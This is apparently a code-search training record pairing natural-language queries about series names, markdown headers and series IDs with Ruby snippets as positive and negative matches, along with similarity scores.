"def collect_pageobjects(service, device, driver)\n # Create module name\n module_service_name = service.split('_').map(&:capitalize).join\n Dir.glob(\"#{$bucky_home_dir}/services/#{service}/#{device}/pageobject/*.rb\").each do |file|\n require file\n\n page_name = file.split('/')[-1].sub('.rb', '')\n page_class_name = page_name.split('_').map(&:capitalize).join\n\n # Get instance of page class\n page_class = eval(format('Services::%<module_service_name>s::%<device>s::PageObject::%<page_class_name>s', module_service_name: module_service_name, device: device.capitalize, page_class_name: page_class_name))\n page_instance = page_class.new(service, device, page_name, driver)\n\n # Define method by page name\n self.class.class_eval do\n define_method(page_name) { page_instance }\n end\n end\n end",
"def admin_xml_each_page(path)\n first_page=admin_xml(path)\n pages=REXML::XPath.first(first_page,'//LastPage/text()').value.to_i\n (1..pages).each do |page|\n result=admin_xml(\"#{path}?page=#{page}\")\n yield result\n end\n end",
"def page (page_class, link, post={}, &block)\n return if link.nil?\n link = [link] unless link.respond_to?(:to_ary)\n block ||= lambda {|data| data}\n result = nil\n\n link.each do |u|\n fetch(u, post) do |res|\n result = page_class.extract(res.body, u, self, &block)\n end\n end\n\n result\n end",
"def index\n @series_has_manifestations = SeriesHasManifestation.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @series_has_manifestations }\n end\n end"
] | [
"0.6597607",
"0.65578824",
"0.650439",
"0.6368041",
"0.63670576",
"0.61849767",
"0.6150049",
"0.59530354",
"0.59478474",
"0.59427464",
"0.58712155",
"0.587099",
"0.58445007",
"0.58286583",
"0.5815935",
"0.5815935",
"0.581154",
"0.5743007",
"0.5743007",
"0.5740021",
"0.57379115",
"0.5729986",
"0.5719537",
"0.5708899",
"0.5696899",
"0.5676731",
"0.5657894",
"0.5657894",
"0.5657894",
"0.5657894",
"0.5650208",
"0.5616911",
"0.5583661",
"0.5577279",
"0.55675054",
"0.5560427",
"0.55571645",
"0.5549396",
"0.5549396",
"0.5548753",
"0.5544559",
"0.55122507",
"0.55115724",
"0.5504216",
"0.54673487",
"0.54673487",
"0.546728",
"0.54488236",
"0.543967",
"0.5435646",
"0.5430092",
"0.5424787",
"0.54182315",
"0.54089814",
"0.54065686",
"0.53924894",
"0.53903085",
"0.53903085",
"0.5380628",
"0.53795916",
"0.536195",
"0.53591263",
"0.53591263",
"0.53533375",
"0.5327843",
"0.53171307",
"0.53021276",
"0.529813",
"0.5295595",
"0.5295595",
"0.5293729",
"0.52895033",
"0.52724195",
"0.5271262",
"0.52700186",
"0.5259571",
"0.5255794",
"0.5244803",
"0.52440065",
"0.52424455",
"0.52407885",
"0.5234975",
"0.5233387",
"0.5220688",
"0.52199554",
"0.52184",
"0.52154386",
"0.52154386",
"0.5210049",
"0.5209328",
"0.5202469",
"0.5196668",
"0.5196668",
"0.5196668",
"0.5196668",
"0.5191273",
"0.5180829",
"0.51646596",
"0.51563025",
"0.5154966",
"0.5153237"
] | 0.0 | -1 |
Gets a series name, and pulls out a markdown header file returning either the rendered markdown, or an empty string | def series_bio(series)
bio_path = "_includes/_series_bio/#{to_series_id(series)}.md"
return "" unless File.exist?(bio_path)
markdownify(File.read(bio_path))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def markdown_title\n render_as_markdown title\n end",
"def extract_md_title(item)\n\t\tif (item[:extension] != 'md')\n\t\t\treturn nil\n\t\tend\n\n\t\tcontent = item.raw_content.lines.each{|l|\n\t\t\tif (l.start_with?('# '))\n\t\t\t\treturn l[2..-1].strip()\n\t\t\tend\n\t\t}\n\t\tnil\n\tend",
"def title()\n @markdown_document.title()\n end",
"def markdown_with_heading(heading = 1)\n \"\\n\\n<h#{heading.to_s} id=\\\"#{@name}\\\">#{@title}</h#{heading.to_s}>\" + @markdown\n end",
"def markdown_with_heading(heading = 1)\n @markdown = \"\\n\\n<h#{heading.to_s} id=\\\"#{@name}\\\">#{@title}</h#{heading.to_s}>\" + @markdown\n end",
"def extract_default_title\n\t\treturn self.name unless self.readme&.table_of_contents&.first\n\t\ttitle = self.readme.table_of_contents.first.text\n\t\ttitle ||= self.name\n\tend",
"def markdown_cheatsheet\n File.read(Rails.root.join('markdown.md'))\n end",
"def title\n if file =~ /README.md/\n result = File.basename File.dirname(file)\n else\n result = File.basename(file,'.md')\n end\n result.tr '-', ' '\n end",
"def studyTitle\n $async::wait_until($janus::WAY_TOO_LONG_TO_LOAD) { page_header.visible? }\n sleep 1 #TODO Refactor methods, steps are failing due to recent update from imedidata\n $async::wait_until($janus::WAY_TOO_LONG_TO_LOAD) { !page_header.text.empty? }\n page_header.text\n end",
"def to_markdown_heading\n heading = to_heading\n to_markdown heading\n end",
"def markdown_heading_parser(content)\n content.gsub(/^.*#.*/) { |heading| \"<h1>#{heading[2..-1]}</h1>\" }\nend",
"def series_title\n return title if series?\n @doc = SolrDocument.new(Blacklight.solr.select(:params => { :fq => \"#{SolrDocument.unique_key}:#{series}\" })[\"response\"][\"docs\"].first)\n @doc.title\n end",
"def extract_title_from_page(page_path)\n f = File.open(page_path)\n file_contents = f.read\n f.close\n\n markdown_translator = Yuzu::Translators::Translator.translators[:markdown]\n markdown_translator.extract_title_from_contents(file_contents)\n end",
"def get_filename(pagename)\n\t\tget_permalink(pagename) + \".md\"\n\tend",
"def get_filename(pagename)\n\t\tget_permalink(pagename) + \".md\"\n\tend",
"def discover_file_title(page = current_page)\n\n if page.data.title\n return page.data.title # Frontmatter title\n else\n filename = page.url.split(/\\//).last.gsub('%20', ' ').titleize\n\n return filename.chomp(File.extname(filename))\n end\n end",
"def markdown\n return if changed_markdown_files.empty?\n\n output = `mdl #{changed_markdown_files.join(' ')}`\n return if output&.empty?\n\n heading('Markdown Linter', output)\n end",
"def filename\n \"#{Parchemin::Config.articles_path}/#{@id}.markdown\"\n end",
"def mdrender\n \t@markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, :autolink => true, :space_after_headers => true)\n end",
"def markdown(s)\n s = s.gsub(/\\*\\/$/,\"\")\n s = s.gsub(/^ ?\\* ?/,\"\")\n s = s.gsub(/^\\/\\*\\*? ?/,\"\")\n s.chop! while s[-1] == \"\\n\" || s[-1] == \" \"\n lines = s.split(\"\\n\")\n newlines = []\n # Fix some markdown\n lines.each{|l|\n # Rewrite RM_Xyz() to RedisModule_Xyz().\n l = l.gsub(/(?<![A-Z_])RM_(?=[A-Z])/, 'RedisModule_')\n # Fix more markdown, except in code blocks indented by 4 spaces, which we\n # don't want to mess with.\n if not l.start_with?(' ')\n # Add backquotes around RedisModule functions and type where missing.\n l = l.gsub(/(?<!`)RedisModule[A-z]+(?:\\*?\\(\\))?/){|x| \"`#{x}`\"}\n # Add backquotes around c functions like malloc() where missing.\n l = l.gsub(/(?<![`A-z.])[a-z_]+\\(\\)/, '`\\0`')\n # Add backquotes around macro and var names containing underscores.\n l = l.gsub(/(?<![`A-z\\*])[A-Za-z]+_[A-Za-z0-9_]+/){|x| \"`#{x}`\"}\n # Link URLs preceded by space or newline (not already linked)\n l = l.gsub(/(^| )(https?:\\/\\/[A-Za-z0-9_\\/\\.\\-]+[A-Za-z0-9\\/])/,\n '\\1[\\2](\\2)')\n # Replace double-dash with unicode ndash\n l = l.gsub(/ -- /, ' – ')\n end\n # Link function names to their definition within the page\n l = l.gsub(/`(RedisModule_[A-z0-9]+)[()]*`/) {|x|\n $index[$1] ? \"[#{x}](\\##{$1})\" : x\n }\n newlines << l\n }\n return newlines.join(\"\\n\")\nend",
"def extension\n 'md'\n end",
"def rendered_name\n result = filename\n result = caption if !caption.blank?\n result\nend",
"def render_md(site, readme)\n begin\n mkconverter = site.getConverterImpl(Jekyll::Converters::Markdown)\n readme.gsub! \"```\",\"\\n```\"\n readme.gsub! '```shell','```bash'\n return mkconverter.convert(readme)\n rescue\n return 'Could not convert readme.'\n end\nend",
"def head_content\n meta 'http-equiv' => 'content-type', :content => 'text/html;charset=UTF-8'\n title page_title\n end",
"def title\n (meta.title if tilt?) || path\n end",
"def markdown\n @markdown ||= process_markdown!\n end",
"def file_to_pagename(filename)\n\t\tfilename.chomp(\".md\").gsub('_', ' ').capitalize\n\tend",
"def file_to_pagename(filename)\n\t\tfilename.chomp(\".md\").gsub('_', ' ').capitalize\n\tend",
"def get_meta_title\n meta_title = Settings.default_meta_title\n\n if @content_package && get_content_package_title\n meta_title = \"#{get_content_package_title} | #{Settings.default_meta_title}\"\n elsif content_for(:title)\n meta_title = \"#{content_for(:title)} | #{Settings.default_meta_title}\"\n end\n\n meta_title\n end",
"def header article\n \"title, summary, source, date, guid, isPermaLink\"\n end",
"def header_for_title\n output = \"-\" * @title.length\n end",
"def series_name\n series ? series.name : \"\"\n end",
"def get_title\n r = %r{((\\d+\\.)+\\s*)(?<title>(.)*)\\.html\\.erb}\n match = r.match(file_name)\n raise BadFilenameException, \"Can't match the file: #{file_name}\" unless match\n t = match[:title].strip\n end",
"def fileHeader(fname, curDate, misc=\"\")\r\n fname = File.basename(fname, \".gdl\")\r\n header = <<EOF\r\n/* **************************************************************************\r\n * File: #{fname}.gdl\r\n *\r\n * Guideline source generated #{curDate}\r\n * #{misc}\r\n *\r\n * *************************************************************************/\r\n\r\n\r\nEOF\r\n\r\n return header\r\n end",
"def titleize str\n if @format == :markdown\n str = str[2..-1]\n str = \"\\n\" + CGI.escapeHTML(str) + \"\\n\" + \"=\" * str.size\n else\n str[1..4] + \"<h2>\" + CGI.escapeHTML(str[5..-1]) + \"</h2>\"\n end\nend",
"def tex_header(lang, gender, barcode)\n # writes yaml header on texing\n s = \"\\\\head{#{title(lang)}}{#{barcode}}\\n\\n\"\n s << \"#{intro(lang)}\\n\\n\"\n s << \"\\\\vspace{0.8mm}\"\n s << \"\\\\dataline{#{I18n.t(:title)}}\"\n s << \"{#{I18n.t(:lecturer)[gender]}}{#{I18n.t(:term)}}\\n\"\n s << \"\\\\vspace{-2.5mm}\"\n s\n end",
"def content!\n if File.exist?(file)\n markdown_to_html\n else\n @type = :empty\n \"\"\n end\n end",
"def page_title\n \"which fileset for #{path}\"\n end",
"def section_header\n \n unless self.article_section.nil?\n return self.article_section.article_section_name\n else\n return \"\"\n end\n \n end",
"def get_section_heading(src, i)\n if src[i] =~ /^\\/\\*\\*? \\#+ *(.*)/\n heading = $1\n elsif src[i+1] =~ /^ ?\\* \\#+ *(.*)/\n heading = $1\n end\n return heading.gsub(' -- ', ' – ')\nend",
"def show_series_name\n return @show_series_name\n end",
"def to_s\n MarkdownService.markdown_as_text(md_title, true)\n end",
"def call\n markdown = markdown_renderer.result(schema: schema)\n if @html\n html = markdown_parser.render(markdown)\n html = html_renderer.result(body: html)\n html.gsub(/id=\"(.+)\"/) {|text| text.tr(\"/:\", \"\") }\n else\n markdown\n end\n rescue Jdoc::Link::ExampleNotFound => exception\n abort(\"Error: #{exception.to_s}\")\n end",
"def kss_markdown(input)\n markdown = ::Redcarpet::Markdown.new(::Redcarpet::Render::HTML, :autolink => true, :space_after_headers => true)\n markdown.render(input)\n end",
"def markdown\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML)\n end",
"def generate_filename(title)\n \"#{formatted_current_timestamp}-#{slug_for(title)}.md\"\nend",
"def process_md_erb(filename)\n renderer = Redcarpet::Render::HTML\n markdown ||= Redcarpet::Markdown.new(renderer, md_extensions)\n concatenated_md = embed_md_erb(filename)\n result_md, metadata = extract_metadata(concatenated_md)\n result_html = markdown.render(result_md)\n [result_html, metadata]\n end",
"def to_markdown\n (['## %s' % @app_title] + to_markdown_slices).join(\"\\n\\n\")\n end",
"def header_text(page_title)\n page_title || @@base_title\n end",
"def to_md\n @md ||= [\n \"[🔙 🏡](#{project_readme_path})\",\n '',\n \"# #{title} (#{year})\",\n '',\n \"By the #{adjective} [#{author}](#{homepage})\",\n '',\n '## Links:',\n '',\n \"- [Purchase #{title}](#{purchase})\",\n '',\n '## Chapter Notes:',\n ''\n ].concat(section_md).concat(image_md).join \"\\n\"\n end",
"def get_title\n base_title = get_name_or_logo\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end",
"def page_name\n basename = File.basename @relative_name\n basename =~ /\\.(rb|rdoc|txt|md)$/i\n\n $` || basename\n end",
"def firstHTMLEdit(file, logkey='')\n\tfilecontents = File.read(file)\n\n\thascreator = filecontents.match(/meta name=\"author\"/)\n\thaspublisher = filecontents.match(/meta name=\"publisher\"/)\n\n\tif hascreator.nil?\n\t\tfilecontents = filecontents.gsub(/<\\/head>/,\"<meta name='author' content=\\\"#{Metadata.bookauthor}\\\" /></head>\")\n\tend\n\n\tif haspublisher.nil?\n\t\tfilecontents = filecontents.gsub(/<\\/head>/,\"<meta name='publisher' content=\\\"#{Metadata.imprint}\\\" /></head>\")\n\tend\n\n\tfilecontents = filecontents.gsub(/<\\/head>/,\"<meta name='isbn-13' content='#{Metadata.eisbn}' /></head>\")\n\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t.gsub(/ /,\" \")\n\t\t\t\t\t\t\t\t \t\t\t\t\t\t\t.gsub(/src=\"images\\//,\"src=\\\"\")\n\treturn filecontents\nrescue => logstring\n\treturn ''\nensure\n\tMcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def seo_title\n if meta_title.blank?\n root? ? name : \"#{root.name} - #{name}\"\n else\n meta_title\n end\n end",
"def first_title\n max_level = 6 # any title with a higher level kicks the current one out\n title = false\n @blocks.each do |block|\n if block.is_a?(Prismic::Fragments::StructuredText::Block::Heading)\n if block.level < max_level\n title = block.text\n max_level = block.level # new maximum\n end\n end\n end\n title\n end",
"def to_title(file)\n # Strip .md if it exists\n title = file.gsub(/.md$/, '')\n\n title = title.gsub(/-/, ' ')\n title = title.gsub(/([A-Z][a-z])/, ' \\1').strip\n title = title.split.map { |word| word[0].upcase+word[1..99999] }.join(' ')\n return title\n end",
"def title\n @title ||= details.at(\"h1.header\").text.strip rescue nil\n end",
"def test_pass_in_header_markdown_string\n skip\n split_message = [\"# My Life in Desserts\"]\n thing = ChunkSorter.new(split_message)\n result = thing.sort\n\n assert result[0].is_a?(Header)\n end",
"def full_journal_title\n title = journal_title\n issue = title && series_position\n issue ? \"#{title}, #{issue}\" : title\n end",
"def get_meta_title \n send_cmd(\"get_meta_title\")\n end",
"def write_studentmarkdown (row)\n timestamp = @worksheet[row, 1]\n student_name = @worksheet[row, 2]\n student_email = @worksheet[row, 3]\n program_name = @worksheet[row, 7]\n year_entering_fellowship = @worksheet[row, 4]\n personal_website = @worksheet[row, 5]\n twitter_handle = @worksheet[row, 6]\n base_name = make_name(name, timestamp)\n\n contents = \"---\nlayout: post\nstatus: publish\npermalink: posts/students/#{base_name}\ntitle: #{name}\nwebsite: #{personal_website}\n---\n# #{name}\n\n #{name_program}\n #{year_entering_fellowship}\n #{personal_website}\n #{twitter_handle}\n\n \"\n\n write_file(base_name, contents)\nend",
"def print_meta_head\n puts \"\\nDataset: #{@meta_data.name}\"\n end",
"def display_header\n self.design.directory_name + ' - ' +\n self.design.board.platform.name + ' / ' + self.design.board.project.name\n end",
"def embed_md_erb(filename) # => markdown string\n ERB.new(File.read(filename)).result(binding)\n end",
"def summarise\n headerless = self.body.gsub(/\\<h\\d.*?\\>.*?\\<\\/h\\d\\>/m, '')\n summary = ActionView::Base.full_sanitizer.sanitize(headerless).strip.match(/^(.+?)[\\.\\r\\n]/m)&.captures&.first || self.title\n\n return \"#{ summary }.\"\n end",
"def get_content(file_path)\n puts \"getting markdown for: #{file_path}.md\\n\\n\"\n file = File.open(\"data/pages/#{file_path}.md\", \"r\")\n return file.read\nend",
"def extract_title( existing_payload, solr_doc, fedora_doc )\n\n # general approach\n title = IngestHelpers.solr_first_field_extract(solr_doc, 'mods_title_info_t')\n return title if title.present?\n\n return nil\n end",
"def heading\n\t\tname\n\tend",
"def heading\n\t\tname\n\tend",
"def get_series (series_name)\n end",
"def head_title(title)\n content_for :head_title, title\n end",
"def pandoc_title_block( headers )\n title_block = \"\"\n headers.each do | header |\n if header[0].casecmp(\"title\") == 0\n title_block << \"% \" + header[1] + \"\\n\"\n headers.delete( header )\n elsif header[0].casecmp(\"author\") == 0\n title_block << \"% \" + header[1] + \"\\n\"\n headers.delete( header )\n elsif header[0].casecmp(\"date\") == 0\n title_block << \"% \" + header[1] + \"\\n\\n\"\n headers.delete( header )\n end\n end\n return title_block\n end",
"def filename(post)\n date = DateTime.parse(post.date)\n rendered_title = post.title.rendered\n slug =\n if rendered_title.empty?\n date.strftime('%s').to_i % (24 * 60 * 60)\n else\n # TODO: Should slugify the first 5 words of the content instead\n rendered_title.downcase.gsub('/[\\s.\\/_]/', ' ').gsub(/[^\\w\\s-]/, '').squeeze(' ').tr(' ', '-').chomp('-')\n end\n\n \"#{date.strftime('%F')}-#{slug}.md\"\n end",
"def name; (page.title rescue ''); end",
"def name; (page.title rescue ''); end",
"def info_header_fname\n \"_#{name.downcase}_info.html.erb\"\n end",
"def head\n header = ''\n File.open(@file).each_line do |line|\n break if line.chomp.empty?\n header << line\n end\n return header\n end",
"def to_markdown\n lines = @bare_content.split(\"\\n\")\n markdown = \"\"\n\n # Using `while` here so we can alter the collection at will\n while current_line = lines.shift\n # If we got us some of them bird tracks...\n if current_line =~ BIRD_TRACKS_REGEX\n # Remove the bird tracks from this line\n current_line = remove_bird_tracks(current_line)\n # Grab the remaining code block\n current_line << slurp_remaining_bird_tracks(lines)\n\n # Fence it and add it to the output\n markdown << \"```haskell\\n#{current_line}\\n```\\n\"\n else\n # No tracks? Just stick it back in the pile.\n markdown << current_line + \"\\n\"\n end\n end\n\n markdown\n end",
"def title() headers['title'] end",
"def getTitle(doc)\n\tfirstLine = doc.strip[/^[^\\n]+(?=\\n|$)/]\n\tfirstLine.length <= TITLE_LENGTH ? firstLine : firstLine[0,TITLE_LENGTH-3]+\"...\"\nend",
"def filename\n date = data[:post_date]\n slug = data[:post_name]\n \"source/#{date.strftime('%Y-%m-%d')}-#{slug}.html.erb\"\n end",
"def markdown(source)\n Open3.popen2('pandoc', '-s', '-f', 'markdown', '-t', 'html') do |stdin, stdout, wait_thr|\n stdin.puts(source)\n stdin.close\n stdout.read\n end\nrescue => e\n STDERR.puts e\n nil\nend",
"def markdown\n @markdown ||= Redcarpet::Markdown.new(\n Blogelator::HTMLRenderer,\n autolink: true,\n disable_indented_code_blocks: true,\n fenced_code_blocks: true,\n space_after_headers: true\n )\n end",
"def markdown\n @markdown ||= Redcarpet::Markdown.new(\n Blogelator::HTMLRenderer,\n autolink: true,\n disable_indented_code_blocks: true,\n fenced_code_blocks: true,\n space_after_headers: true\n )\n end",
"def title_full\n \"#{djs} - #{@title}\"\n end",
"def document_heading\n @document[\"subtitle_display\"] ? @document[Blacklight.config[:show][:heading]] + \": \" + @document[\"subtitle_display\"] : @document[Blacklight.config[:show][:heading]] \n end",
"def extract_title(entry)\n if entry.title and not entry.title.empty?\n entry.title\n elsif entry.content && entry.content.first && entry.content.first.value.is_a?(String)\n content = entry.content.first.value\n \n if content.match(/^<?p?>?<(strong|h1|h2|h3|h4|b)>([^<]*)<\\/\\1>/i)\n $2\n else\n content.split(/\\n|<br ?\\/?>/).each do |line|\n potential_title = line.gsub(/<\\/?[^>]*>/, \"\").chomp # strip html\n break potential_title if potential_title and not potential_title.empty?\n end.split(/!|\\?|\\./).first\n end\n else\n \"Untitled\"\n end\n end",
"def title\n filename.nil? ? nil : File.basename(filename)\n end",
"def seo_title\n meta_title.blank? ? name : meta_title\n end",
"def discover_directory_title(name, directory_path)\n\n # Check for a .display_info file in the source directory\n display_info_file_path = File.join(\"source\", directory_path, \".display_info\")\n\n if File.file?(display_info_file_path)\n\n display_info_hash = YAML.load_file(display_info_file_path)\n\n return display_info_hash.has_key?(\"title\") ? display_info_hash[\"title\"] : \"No Title Key Set\"\n else\n\n # No file found, so just parse the directory name\n return name.gsub(\"%20\", \" \").titleize\n end\n end",
"def render_md page, content\n markdown(content || self.body) # HACK\n end",
"def render_md page, content\n markdown(content || self.body) # HACK\n end",
"def page_title\n h Array(@title).join(\" / \") + \" | integrity\"\n end",
"def plain_html\n @title || 'Top Section'\n end",
"def head \n meta_author \"Kane Baccigalupi\"\n end",
"def show\n @serial_works = @series.serial_works.find(:all, :include => :work, :conditions => ['works.posted = ?', true], :order => :position).select{|sw| sw.work.visible(User.current_user)}\n # sets the page title with the data for the series\n @page_title = \"\"\n if logged_in? && !current_user.preference.work_title_format.blank?\n @page_title = current_user.preference.work_title_format\n @page_title.gsub!(/FANDOM/, @series.allfandoms.collect(&:name).join(', '))\n @page_title.gsub!(/AUTHOR/, @series.allpseuds.collect(&:byline).join(', '))\n @page_title.gsub!(/TITLE/, @series.title)\n else\n @page_title = @series.title + \" - \" + @series.allpseuds.collect(&:byline).join(', ') + \" - \" + @series.allfandoms.collect(&:name).join(', ')\n end\n @page_title += \" [#{ArchiveConfig.APP_NAME}]\"\n end",
"def markdown\n md = view_context.markdown(@target.body.present? ? @target.body : @target.title)\n view_context.shapado_auto_link(md).html_safe\n end",
"def writeMarkdown(doc, page)\n\n layers = page[\"children\"].reverse\n pagetitle = page[\"name\"]\n blocks = []\n\n # Let's get the text layers\n text = layers.select do |layer|\n layer[\"type\"] === \"TEXT\"\n end\n\n # Let's get only the frames\n frames = layers.select do |layer|\n layer[\"type\"] === \"FRAME\"\n end\n \n # let's build this\n frames.each do |frame|\n ftitle = self.showTitle?(frame[\"name\"]) ? frame[\"name\"] : nil\n fimage = self.getFrameImage(doc, page[\"name\"], frame)\n ftext = self.getFrameText(text, frame[\"name\"])\n\n blocks.push([ftitle, \"/#{@assetpath}/#{fimage}\", ftext])\n end\n\n\n # Do we have a summary?\n summary = text.select do |layer|\n layer[\"name\"] == \"_summary.md\"\n end\n\n summary = summary.size > 0 ? summary.first[\"characters\"] : nil\n\n # Do we have a tags?\n tags = text.select do |layer|\n layer[\"name\"] == \"_tags\"\n end\n\n tags = tags.size > 0 ? tags.first[\"characters\"] : nil\n menutag = !tags.nil? ? tags.split(\",\").first : nil\n\n \n # Export markdown from erb template\n filename = \"#{doc[\"document\"].parameterize}-#{pagetitle.parameterize}\"\n template = File.read('_plugins/figma-template.md.erb')\n result = ERB.new(template).result(binding)\n\n open(\"#{@pagespath}/#{filename}.md\", \"wb\") { |file|\n file.write(result)\n file.close\n }\n\n [pagetitle, filename, menutag]\n end",
"def get_title(file_name)\n html = File.read(file_name)\n \n doc = Nokogiri::HTML(html)\n\n begin\n # Grabbing the title from the page\n title = doc.css(\"title\")[0].text.strip\n rescue NoMethodError\n puts \"NoMethodError\"\n puts file_name\n title = nil \n end\n\n return title\nend",
"def title\n @title ||= self.content.split(@@title_separator).first unless self.content.nil?\n end"
] | [
"0.6470619",
"0.636914",
"0.6249694",
"0.614175",
"0.5929194",
"0.5911448",
"0.5909682",
"0.5903798",
"0.58985376",
"0.5889356",
"0.58799535",
"0.5820013",
"0.5725712",
"0.5659979",
"0.5659979",
"0.5653578",
"0.56455696",
"0.55961025",
"0.55942786",
"0.55597687",
"0.55541897",
"0.55126435",
"0.5490656",
"0.54871535",
"0.5480732",
"0.5465374",
"0.5465214",
"0.5465214",
"0.5453181",
"0.54269415",
"0.5424826",
"0.5409371",
"0.5400311",
"0.53785735",
"0.53526133",
"0.5340866",
"0.53408056",
"0.5334628",
"0.5324901",
"0.5323338",
"0.53223866",
"0.53130186",
"0.53084916",
"0.5306255",
"0.5280645",
"0.5280098",
"0.5275589",
"0.5274202",
"0.52691466",
"0.5263147",
"0.5251027",
"0.5245276",
"0.52435946",
"0.523879",
"0.5236198",
"0.52313066",
"0.52263355",
"0.5204973",
"0.52042544",
"0.52037644",
"0.51954997",
"0.5192669",
"0.51835984",
"0.518211",
"0.5176868",
"0.5174969",
"0.5164072",
"0.5163629",
"0.5163629",
"0.51619434",
"0.5158827",
"0.5155954",
"0.51548445",
"0.514205",
"0.514205",
"0.5128121",
"0.5127929",
"0.5116809",
"0.5111902",
"0.51099557",
"0.5109597",
"0.51062715",
"0.5104237",
"0.5104237",
"0.5100372",
"0.5099124",
"0.5093789",
"0.50934565",
"0.50759333",
"0.50729334",
"0.5071523",
"0.5071523",
"0.50704265",
"0.5068657",
"0.5067463",
"0.50639445",
"0.5057833",
"0.5055891",
"0.5054349",
"0.50538045"
] | 0.66396815 | 0 |
Series Name > Series ID for URLs | def to_series_id(series_name)
series_name.gsub(/_|\P{Word}/, '-').gsub(/-{2,}/, '-').downcase
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def series(id)\n get(\"/catalog/titles/series/#{id.to_s}?\")\n end",
"def set_series\n @series = Series.friendly.find(params[:id])\n end",
"def get_series (series_name)\n end",
"def series_links(options = {})\n generate_links(:series, options)\n end",
"def [] (series_id)\n Series[series_id]\n end",
"def ref_id\n URI.parse(self.archival_series_uri).path.split(\"/\").last unless self.archival_series_uri.nil?\n end",
"def series_with_name(series_name)\n @series[series_name.to_sym] if series_name\n end",
"def data_urls\n # returns\n # @instrument\n # @varnames: a hash keyed on the shortname, containing the long name\n \n if params.key?(:instrument_id) \n if Instrument.exists?(params[:instrument_id])\n inst_id = params[:instrument_id]\n else\n inst_id = Instrument.all.first.id\n end\n else\n inst_id = Instrument.all.first.id\n end\n \n @instrument = Instrument.find(inst_id)\n varshortnames = Var.all.where(\"instrument_id = ?\", inst_id).pluck(:shortname)\n # Create a hash, with shortname => name\n @varnames = {}\n varshortnames.each do |vshort|\n @varnames[vshort] = Var.all.where(\"instrument_id = ? and shortname = ?\", inst_id, vshort).pluck(:name)[0]\n end\n \n end",
"def find_url(series_id:)\n base_url + find_path(series_id: series_id)\n end",
"def find_url(series_id:)\n base_url + find_path(series_id: series_id)\n end",
"def series_uid\n @dicom_series_uid || @series_uid\n end",
"def series_title\n return title if series?\n @doc = SolrDocument.new(Blacklight.solr.select(:params => { :fq => \"#{SolrDocument.unique_key}:#{series}\" })[\"response\"][\"docs\"].first)\n @doc.title\n end",
"def series_name\n series ? series.name : \"\"\n end",
"def set_series\n @series = Serie.find(params[:id])\n end",
"def set_series\n @series = Series.find(params[:id])\n end",
"def set_series\n @series = Series.find(params[:id])\n end",
"def set_series\n @series = Series.find(params[:id])\n end",
"def url_id\n id\n end",
"def set_series\n @serie = Serie.find(params[:id])\n end",
"def find_series_by_id(series_id, options={})\n series_url = \"/series/#{series_id}\"\n series_url << \"/all\" if options[:all]\n series_url << \"/en.xml\"\n result = self.get_with_key(series_url)['Data']\n return nil unless result && result['Series']\n return result if options[:all]\n return result[\"Series\"] if options[:raw]\n Series.new(self, result[\"Series\"])\n end",
"def study_link_array(label, url)\n if study_id = url.first.match(/studyno=(\\d+)$/)\n study = Study.where(studynum: (study_id[1]).to_s).take\n unless study.nil?\n link_to('View Data Files', study_path(study))\n end\n else\n link_to label.first, url.first\n end\n end",
"def edit \n @series = Series.all.map{ |s| [s.name, s.id] }\n \n end",
"def url_dataset_to_times_series_dashboard(dataset, time_series, options={})\n request.path == explore_data_dashboard_path(dataset.owner, dataset) ? explore_time_series_dashboard_path(time_series.time_series_owner, time_series.time_series_permalink, options) : time_series_path(time_series.time_series_owner, time_series.time_series_permalink, options)\n end",
"def show_series_name\n return @show_series_name\n end",
"def name\n \"#{id}: #{url}\"\n end",
"def get_series_by_remote_id (remote_source, remote_id)\n end",
"def link_identifier(**options)\n value = options[:value].is_a?(Array) ? options[:value].first : options[:value]\n url = AcademicCommons.identifier_url(value)\n [link_to(url, url)]\n end",
"def get_series_url(name:, language: nil, user: nil)\n base_url + get_series_path + build_query(get_series_params(name: name, language: language, user: user))\n end",
"def url_dataset_to_datasets_dashboard(time_series, dataset, options={})\n request.path == explore_time_series_dashboard_path(time_series.owner, time_series) ? explore_data_dashboard_path(dataset.dataset_owner, dataset.dataset_permalink, options) : dataset_path(dataset.dataset_owner, dataset.dataset_permalink, options)\n end",
"def get_series_by_remote_id_url(imdb_id: nil, zap2it_id: nil, language: nil)\n query_params = build_query(\n get_series_by_remote_id_params(imdb_id: imdb_id, zap2it_id: zap2it_id, language: language)\n )\n base_url + get_series_by_remote_id_path + query_params\n end",
"def get_url_name(id)\n Url.find(id).url\n end",
"def book_by_series(id)\n\t\t\tresponse = request('/series/show', :id => id)\n\t\tend",
"def id\n @id || @url\n end",
"def dataset_endpoint(id)\n return uri(\"resource/\" + id)\n end",
"def series_get(id)\n begin\n api = \"#{$config['sonarr']['api_url']}/series/#{id}\"\n log_debug(api)\n uri = URI(api)\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json', 'X-Api-Key'=> $config['sonarr']['api_key'])\n \n json = {}\n json['id'] = id\n \n req.body = json.to_json\n res = http.request(req) \n json = JSON.parse(res.body)\n debug json\n rescue => e\n puts \"failed #{e}\"\n end\n end",
"def get_data series_id\n\t\traw_output = @fred.series( 'observations', series_id: series_id.to_s)\n\n\t\traw_output.observations.observation\n\tend",
"def set_url_name\n params[:url_name] = params[:id]\n params.delete :id\n end",
"def series_name\n data_source.first.class.human_attribute_name(data_column)\n end",
"def identifier_value\n @value.map do |id|\n if /^https?\\:\\/\\//.match?(id)\n \"<a href='#{id}' alt='#{label}'>#{id}</a>\"\n else\n id\n end\n end\n end",
"def id\n self.url\n end",
"def show_series_name=(value)\n @show_series_name = value\n end",
"def set_article\n @series = Series.find(params[:id])\n end",
"def identifier\n @record.uri.to_s\n end",
"def id\n source.split('/')[-1].split('_')[0]\n end",
"def series_details\n @series_description\n end",
"def set_series\n @collection = Collection.find(params[:id])\n end",
